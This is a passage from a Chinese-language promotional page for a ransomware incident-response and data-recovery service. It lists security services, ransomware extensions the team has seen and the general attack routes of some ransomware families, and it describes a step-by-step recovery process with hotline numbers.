  资产梳理排查目标: 根据实际情况,对内外网资产进行分时期排查

  服务方式: 调研访谈、现场勘查、工具扫描

  服务关键内容: 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

2. 安全设备调优

目标

  通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

主要目标设备

  网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:

  通过网络安全意识宣贯、培训提升全方位安全能力

形式:

  培训及宣贯

线下培训课表

  若无法组织线下的集体培训,考虑两种方式:

    1.提供相关的安全意识培训材料,由上而下分发学习

    2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

  以下是solar安全团队近期处理过的常见勒索病毒后缀:后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。

  勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。

  而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

9.团队介绍

  团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

10.我们的数据恢复服务流程

  多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

​   专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

​   售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

​   您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

​   专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

​   您清楚了解数据恢复方案后,您可自主选择以下下单方式:

  双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

  安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

  数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

  完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

  客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

                      我们在此郑重承诺:

                     不成功不收费

                     全程一对一服务

                     365天不间断服务

                     免费提供安全方案

                     24h服务热线:

                     18894665383

                     17864099776

                     18299173318